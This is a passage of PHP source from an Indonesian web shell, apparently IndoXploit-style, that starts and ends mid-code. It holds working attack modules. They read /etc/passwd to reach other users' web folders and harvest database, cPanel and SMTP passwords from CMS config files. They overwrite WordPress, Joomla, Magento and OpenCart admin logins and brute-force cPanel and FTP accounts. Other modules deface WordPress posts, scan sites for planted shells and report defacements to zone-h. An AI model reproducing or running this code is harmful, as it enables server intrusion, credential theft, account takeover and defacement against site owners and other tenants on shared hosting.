  1928.  fclose($file5);$dcount = 1;$file =
  1929.  fopen("test.txt", "r") or exit("Unable to open file!");
  1930.  while(!feof($file)){$s = fgets($file);$matches = array();
  1931.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  1932.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1933.  continue;
  1934.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1935.  <td align=center><font class=txt>" . $matches . "</td>";
  1936.  echo "<td align=center><font class=txt><a href=$full/scripts/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1937.  $dcount++;}
  1938.  fclose($file);
  1939.  echo "</table></div></center>";unlink("test.txt");
  1940.  } else
  1941.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  1942.  }
  1943.  }    
  1944. }
  1945.  
  1946. elseif($_GET['pake'] == 'jumping') {
  1947.     $i = 0;
  1948.     echo "<pre><div class='margin: 5px auto;'>";
  1949.     $etc = fopen("/etc/passwd", "r");
  1950.     while($passwd = fgets($etc)) {
  1951.         if($passwd == '' || !$etc) {
  1952.             echo "<font color=red>Can't read /etc/passwd</font>";
  1953.         } else {
  1954.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1955.             foreach($user_jumping[1] as $user_idx_jump) {
  1956.                 $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1957.                 if(is_readable($user_jumping_dir)) {
  1958.                     $i++;
  1959.                     $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1960.                     if(is_writable($user_jumping_dir)) {
  1961.                         $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1962.                     }
  1963.                     echo $jrw;
  1964.                     $domain_jump = file_get_contents("/etc/named.conf");   
  1965.                     if($domain_jump == '') {
  1966.                         echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1967.                     } else {
  1968.                         preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1969.                         foreach($domains_jump[1] as $dj) {
  1970.                             $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1971.                             $user_jumping_url = $user_jumping_url['name'];
  1972.                             if($user_jumping_url == $user_idx_jump) {
  1973.                                 echo " => ( <u>$dj</u> )<br>";
  1974.                                 break;
  1975.                             }
  1976.                         }
  1977.                     }
  1978.                 }
  1979.             }
  1980.         }
  1981.     }
  1982.     if($i == 0) {
  1983.     } else {
  1984.         echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1985.     }
  1986.     echo "</div></pre>";
  1987.  
  1988. } elseif($_GET['pake'] == 'auto_edit_user') {
  1989.     if($_POST['hajar']) {
  1990.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1991.             echo "username atau password harus lebih dari 6 karakter";
  1992.         } else {
  1993.             $user_baru = $_POST['user_baru'];
  1994.             $pass_baru = md5($_POST['pass_baru']);
  1995.             $conf = $_POST['config_dir'];
  1996.             $scan_conf = scandir($conf);
  1997.             foreach($scan_conf as $file_conf) {
  1998.                 if(!is_file("$conf/$file_conf")) continue;
  1999.                 $config = file_get_contents("$conf/$file_conf");
  2000.                 if(preg_match("/JConfig|joomla/",$config)) {
  2001.                     $dbhost = ambilkata($config,"host = '","'");
  2002.                     $dbuser = ambilkata($config,"user = '","'");
  2003.                     $dbpass = ambilkata($config,"password = '","'");
  2004.                     $dbname = ambilkata($config,"db = '","'");
  2005.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  2006.                     $prefix = $dbprefix."users";
  2007.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2008.                     $db = mysql_select_db($dbname);
  2009.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2010.                     $result = mysql_fetch_array($q);
  2011.                     $id = $result['id'];
  2012.                     $site = ambilkata($config,"sitename = '","'");
  2013.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  2014.                     echo "Config => ".$file_conf."<br>";
  2015.                     echo "CMS => Joomla<br>";
  2016.                     if($site == '') {
  2017.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2018.                     } else {
  2019.                         echo "Sitename => $site<br>";
  2020.                     }
  2021.                     if(!$update OR !$conn OR !$db) {
  2022.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2023.                     } else {
  2024.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2025.                     }
  2026.                     mysql_close($conn);
  2027.                 } elseif(preg_match("/WordPress/",$config)) {
  2028.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  2029.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  2030.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2031.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  2032.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2033.                     $prefix = $dbprefix."users";
  2034.                     $option = $dbprefix."options";
  2035.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2036.                     $db = mysql_select_db($dbname);
  2037.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2038.                     $result = mysql_fetch_array($q);
  2039.                     $id = $result[ID];
  2040.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2041.                     $result2 = mysql_fetch_array($q2);
  2042.                     $target = $result2[option_value];
  2043.                     if($target == '') {
  2044.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2045.                     } else {
  2046.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  2047.                     }
  2048.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  2049.                     echo "Config => ".$file_conf."<br>";
  2050.                     echo "CMS => Wordpress<br>";
  2051.                     echo $url_target;
  2052.                     if(!$update OR !$conn OR !$db) {
  2053.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2054.                     } else {
  2055.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2056.                     }
  2057.                     mysql_close($conn);
  2058.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  2059.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  2060.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  2061.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  2062.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  2063.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  2064.                     $prefix = $dbprefix."admin_user";
  2065.                     $option = $dbprefix."core_config_data";
  2066.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2067.                     $db = mysql_select_db($dbname);
  2068.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  2069.                     $result = mysql_fetch_array($q);
  2070.                     $id = $result[user_id];
  2071.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  2072.                     $result2 = mysql_fetch_array($q2);
  2073.                     $target = $result2[value];
  2074.                     if($target == '') {
  2075.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2076.                     } else {
  2077.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  2078.                     }
  2079.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2080.                     echo "Config => ".$file_conf."<br>";
  2081.                     echo "CMS => Magento<br>";
  2082.                     echo $url_target;
  2083.                     if(!$update OR !$conn OR !$db) {
  2084.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2085.                     } else {
  2086.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2087.                     }
  2088.                     mysql_close($conn);
  2089.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  2090.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  2091.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  2092.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  2093.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  2094.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  2095.                     $prefix = $dbprefix."user";
  2096.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2097.                     $db = mysql_select_db($dbname);
  2098.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  2099.                     $result = mysql_fetch_array($q);
  2100.                     $id = $result[user_id];
  2101.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  2102.                     if($target == '') {
  2103.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2104.                     } else {
  2105.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  2106.                     }
  2107.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2108.                     echo "Config => ".$file_conf."<br>";
  2109.                     echo "CMS => OpenCart<br>";
  2110.                     echo $url_target;
  2111.                     if(!$update OR !$conn OR !$db) {
  2112.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2113.                     } else {
  2114.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2115.                     }
  2116.                     mysql_close($conn);
  2117.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  2118.                     $dbhost = ambilkata($config,'server = "','"');
  2119.                     $dbuser = ambilkata($config,'username = "','"');
  2120.                     $dbpass = ambilkata($config,'password = "','"');
  2121.                     $dbname = ambilkata($config,'database = "','"');
  2122.                     $prefix = "users";
  2123.                     $option = "identitas";
  2124.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2125.                     $db = mysql_select_db($dbname);
  2126.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  2127.                     $result = mysql_fetch_array($q);
  2128.                     $target = $result[alamat_website];
  2129.                     if($target == '') {
  2130.                         $target2 = $result[url];
  2131.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2132.                         if($target2 == '') {
  2133.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2134.                         } else {
  2135.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  2136.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  2137.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  2138.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  2139.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  2140.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  2141.                             } else {
  2142.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  2143.                             }
  2144.                         }
  2145.                     } else {
  2146.                         $cek_login = file_get_contents("$target/adminweb/");
  2147.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  2148.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  2149.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  2150.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  2151.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  2152.                         } else {
  2153.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  2154.                         }
  2155.                     }
  2156.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  2157.                     echo "Config => ".$file_conf."<br>";
  2158.                     echo "CMS => Lokomedia<br>";
  2159.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  2160.                         echo $url_target2;
  2161.                     } else {
  2162.                         echo $url_target;
  2163.                     }
  2164.                     if(!$update OR !$conn OR !$db) {
  2165.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2166.                     } else {
  2167.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2168.                     }
  2169.                     mysql_close($conn);
  2170.                 }
  2171.             }
  2172.         }
  2173.     } else {
  2174.         echo "<center>
  2175.         <h1>Auto Edit User Config</h1>
  2176.         <form method='post'>
  2177.         DIR Config: <br>
  2178.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  2179.         Set User & Pass: <br>
  2180.         <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
  2181.         <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
  2182.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  2183.         </form>
  2184.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  2185.         ";
  2186.     }
  2187. }elseif($_GET['pake'] == 'shelscan') {
  2188.     echo'<center><h2>Shell Finder</h2>
  2189. <form action="" method="post">
  2190. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  2191. <br>
  2192. <input name="scan" value="Start Scaning"  style="width: 215px;" type="submit">
  2193. </form><br>';
  2194. if (isset($_POST["scan"])) {  
  2195. $url = $_POST['traget'];
  2196. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  2197. echo "Result :<br />";
  2198. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  2199. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  2200. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  2201. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  2202. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  2203. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  2204. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  2205. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  2206. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  2207. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  2208. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  2209. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  2210. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  2211. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  2212. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  2213. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  2214. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  2215. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  2216. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  2217. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  2218. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  2219. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  2220. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  2221. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  2222. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  2223. foreach ($shells as $shell){
  2224. $headers = get_headers("$url$shell"); //
  2225. if (eregi('200', $headers[0])) {
  2226. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  2227. $dz = fopen('shells.txt', 'a+');
  2228. $suck = "$url$shell";
  2229. fwrite($dz, $suck."\n");
  2230. }
  2231. }
  2232. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  2233. }
  2234.    
  2235. }
  2236.  elseif($_GET['pake'] == 'cpanel') {
  2237.     if($_POST['crack']) {
  2238.         $usercp = explode("\r\n", $_POST['user_cp']);
  2239.         $passcp = explode("\r\n", $_POST['pass_cp']);
  2240.         $i = 0;
  2241.         foreach($usercp as $ucp) {
  2242.             foreach($passcp as $pcp) {
  2243.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  2244.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  2245.                     } else {
  2246.                         $_SESSION[$ucp] = "1";
  2247.                         $_SESSION[$pcp] = "1";
  2248.                         $i++;
  2249.                         echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  2250.                     }
  2251.                 }
  2252.             }
  2253.         }
  2254.         if($i == 0) {
  2255.         } else {
  2256.             echo "<br>Nemu ".$i." Cpanel by <font color=lime>Mr.ToKeiChun69</font>";
  2257.         }
  2258.     } else {
  2259.         echo "<center>
  2260.         <form method='post'>
  2261.         USER: <br>
  2262.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  2263.         $_usercp = fopen("/etc/passwd","r");
  2264.         while($getu = fgets($_usercp)) {
  2265.             if($getu == '' || !$_usercp) {
  2266.                 echo "<font color=red>Can't read /etc/passwd</font>";
  2267.             } else {
  2268.                 preg_match_all("/(.*?):x:/", $getu, $u);
  2269.                 foreach($u[1] as $user_cp) {
  2270.                         if(is_dir("/home/$user_cp/public_html")) {
  2271.                             echo "$user_cp\n";
  2272.                     }
  2273.                 }
  2274.             }
  2275.         }
  2276.         echo "</textarea><br>
  2277.         PASS: <br>
  2278.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  2279.         function cp_pass($dir) {
  2280.             $pass = "";
  2281.             $dira = scandir($dir);
  2282.             foreach($dira as $dirb) {
  2283.                 if(!is_file("$dir/$dirb")) continue;
  2284.                 $ambil = file_get_contents("$dir/$dirb");
  2285.                 if(preg_match("/WordPress/", $ambil)) {
  2286.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  2287.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  2288.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  2289.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  2290.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  2291.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  2292.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  2293.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  2294.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  2295.                 } elseif(preg_match("/client/", $ambil)) {
  2296.                     preg_match("/password=(.*)/", $ambil, $pass1);
  2297.                     if(preg_match('/"/', $pass1[1])) {
  2298.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  2299.                         $pass .= $pass1[1]."\n";
  2300.                     }
  2301.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  2302.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  2303.                 }
  2304.             }
  2305.             echo $pass;
  2306.         }
  2307.         $cp_pass = cp_pass($dir);
  2308.         echo $cp_pass;
  2309.         echo "</textarea><br>
  2310.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  2311.         </form>
  2312.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  2313.     }
  2314. } elseif($_GET['pake'] == 'smtp') {
  2315.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  2316.     function scj($dir) {
  2317.         $dira = scandir($dir);
  2318.         foreach($dira as $dirb) {
  2319.             if(!is_file("$dir/$dirb")) continue;
  2320.             $ambil = file_get_contents("$dir/$dirb");
  2321.             $ambil = str_replace("$", "", $ambil);
  2322.             if(preg_match("/JConfig|joomla/", $ambil)) {
  2323.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  2324.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  2325.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  2326.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  2327.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  2328.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  2329.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  2330.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  2331.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  2332.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  2333.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  2334.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  2335.             }
  2336.         }
  2337.     }
  2338.     $smpt_hunter = scj($dir);
  2339.     echo $smpt_hunter;
  2340. } elseif($_GET['pake'] == 'auto_wp') {
  2341.     if($_POST['hajar']) {
  2342.         $title = htmlspecialchars($_POST['new_title']);
  2343.         $pn_title = str_replace(" ", "-", $title);
  2344.         if($_POST['cek_edit'] == "Y") {
  2345.             $script = $_POST['edit_content'];
  2346.         } else {
  2347.             $script = $title;
  2348.         }
  2349.         $conf = $_POST['config_dir'];
  2350.         $scan_conf = scandir($conf);
  2351.         foreach($scan_conf as $file_conf) {
  2352.             if(!is_file("$conf/$file_conf")) continue;
  2353.             $config = file_get_contents("$conf/$file_conf");
  2354.             if(preg_match("/WordPress/", $config)) {
  2355.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  2356.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  2357.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2358.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  2359.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2360.                 $prefix = $dbprefix."posts";
  2361.                 $option = $dbprefix."options";
  2362.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2363.                 $db = mysql_select_db($dbname);
  2364.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  2365.                 $result = mysql_fetch_array($q);
  2366.                 $id = $result[ID];
  2367.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2368.                 $result2 = mysql_fetch_array($q2);
  2369.                 $target = $result2[option_value];
  2370.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  2371.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  2372.                 echo "<div style='margin: 5px auto;'>";
  2373.                 if($target == '') {
  2374.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  2375.                 } else {
  2376.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  2377.                 }
  2378.                 if(!$update OR !$conn OR !$db) {
  2379.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  2380.                 } else {
  2381.                     echo "<font color=lime>sukses di ganti.</font><br>";
  2382.                 }
  2383.                 echo "</div>";
  2384.                 mysql_close($conn);
  2385.             }
  2386.         }
  2387.     } else {
  2388.         echo "<center>
  2389.         <h1>Auto Edit Title+Content WordPress</h1>
  2390.         <form method='post'>
  2391.         DIR Config: <br>
  2392.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  2393.         Set Title: <br>
  2394.         <input type='text' name='new_title' value='Hacked By Mr.ToKeiChun69' placeholder='New Title'><br><br>
  2395.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  2396.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  2397.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  2398.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  2399.         </form>
  2400.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  2401.         ";
  2402.     }
  2403. } elseif($_GET['pake'] == 'zoneh') {
  2404.     if($_POST['submit']) {
  2405.         $domain = explode("\r\n", $_POST['url']);
  2406.         $nick =  $_POST['nick'];
  2407.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  2408.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  2409.         function zoneh($url,$nick) {
  2410.             $ch = curl_init("http://www.zone-h.com/notify/single");
  2411.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2412.                   curl_setopt($ch, CURLOPT_POST, true);
  2413.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  2414.             return curl_exec($ch);
  2415.                   curl_close($ch);
  2416.         }
  2417.         foreach($domain as $url) {
  2418.             $zoneh = zoneh($url,$nick);
  2419.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  2420.                 echo "$url -> <font color=lime>OK</font><br>";
  2421.             } else {
  2422.                 echo "$url -> <font color=red>ERROR</font><br>";
  2423.             }
  2424.         }
  2425.     } else {
  2426.         echo "<center><form method='post'>
  2427.         <u>Defacer</u>: <br>
  2428.         <input type='text' name='nick' size='50' value='Mr.ToKeiChun69'><br>
  2429.         <u>Domains</u>: <br>
  2430.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  2431.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  2432.         </form>";
  2433.     }
  2434.     echo "</center>";
  2435. }elseif($_GET['pake'] == 'cpftp_auto') {
  2436.     if($_POST['crack']) {
  2437.         $usercp = explode("\r\n", $_POST['user_cp']);
  2438.         $passcp = explode("\r\n", $_POST['pass_cp']);
  2439.         $i = 0;
  2440.         foreach($usercp as $ucp) {
  2441.             foreach($passcp as $pcp) {
  2442.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  2443.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  2444.                     } else {
  2445.                         $_SESSION[$ucp] = "1";
  2446.                         $_SESSION[$pcp] = "1";
  2447.                         if($ucp == '' || $pcp == '') {
  2448.                             //
  2449.                         } else {
  2450.                             echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  2451.                             $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
  2452.                             $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  2453.                             if((!$ftp_login) || (!$ftp_conn)) {
  2454.                                 echo "[+] <font color=red>Login Gagal</font><br><br>";
  2455.                             } else {
  2456.                                 echo "[+] <font color=lime>Login Sukses</font><br>";
